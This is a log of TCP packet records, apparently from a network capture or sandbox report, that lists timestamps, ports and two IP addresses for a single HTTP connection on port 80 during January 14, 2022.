Jan 14, 2022 21:05:50.319356918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319360018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319375038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319387913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319406986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319416046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319421053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319434881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319453001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319454908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319506884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.334651947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.367677927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.367708921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.367734909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.367760897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.367795944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.370306969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377484083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377541065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377559900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.377580881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377620935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377624035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.377660990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377701044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377705097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.377743959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377783060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377788067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.377823114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377870083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.377899885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377954006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377991915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.377995968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378030062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378067970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378072023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378108025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378146887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378160954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378184080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378222942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378223896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378262997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378299952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378300905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378340006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378377914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378379107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378417969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378458977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378469944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378499031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378536940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378537893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378577948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378614902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378618002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378654957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378694057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378696918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378736019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378777027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378777027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378815889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378853083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378855944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378896952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378933907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.378937006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.378973007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379012108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379012108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379054070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379091978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379112959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379154921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379192114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379192114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379232883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379271030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379271030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379312038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379350901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379353046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379393101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379430056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379432917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379473925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379511118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379512072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379551888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379590988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379590988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379628897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379667997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379668951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379709005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379749060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379760981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379790068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379826069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379827023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379867077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379903078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.379905939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379942894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379981995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.379982948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.380023003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.380059958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.380281925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.426336050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.426681042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.426697969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.426749945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442183018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442200899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442214012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442231894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442250013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442266941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442270041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442285061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442296982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442301989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442318916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442322969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442337990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442356110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442372084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442372084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442389965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442398071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442408085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442425013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442428112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442442894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442459106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442475080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442477942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442492962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442503929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442511082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442528963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442529917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442548037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442564964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442581892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.442584991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.442611933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444629908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444655895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444674015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444683075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444722891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444724083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444742918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444760084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444777012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444780111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444794893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444812059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444816113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444828987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444844961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444848061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444861889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444879055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444895029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444911957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444916964 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444924116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.444931030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444947004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444962978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444978952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444993973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.444993973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445010900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445019007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445024014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445029020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445046902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445056915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445064068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445081949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445086956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445100069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445117950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445127010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445136070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445153952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445158005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445171118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445188999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445189953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445207119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445223093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445230961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445241928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445259094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445262909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445285082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445302963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445319891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445323944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445338011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445343018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445355892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445372105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.445374012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.445416927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.447194099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.486363888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.486413002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.486474037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.505681992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535083055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535151005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535190105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535228968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535268068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535267115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535305023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535331011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535373926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535379887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535414934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535451889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535465956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535494089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535532951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535536051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535573006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535614014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535615921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535654068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535692930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535698891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535734892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535775900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535778999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535816908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535856962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535859108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535895109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535934925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.535936117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.535975933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536015034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536015987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536056995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536096096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536098003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536135912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536175013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536179066 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536214113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536253929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536253929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536293030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536333084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536339998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536372900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536411047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536415100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536451101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536490917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536492109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536530018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536567926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536570072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536608934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536648035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536648989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536691904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536729097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536736012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536771059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536809921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536814928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536848068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536887884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536895037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.536927938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536967993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.536967993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537012100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537050009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537054062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537090063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537130117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537132025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537168980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537206888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537209988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537246943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537286043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537288904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537328005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537365913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537369013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537405968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537445068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537446976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537483931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537523985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537528038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537563086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537602901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537605047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.537646055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.537689924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.538961887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.544377089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.544430971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.544476986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.560086966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597280979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597302914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597321033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597337008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597353935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597371101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597373009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597389936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597400904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597409010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597426891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597431898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597445965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597460985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597464085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597482920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597492933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.597502947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.597521067 CET	80	49882	81.163.30.181	192.168.2.5
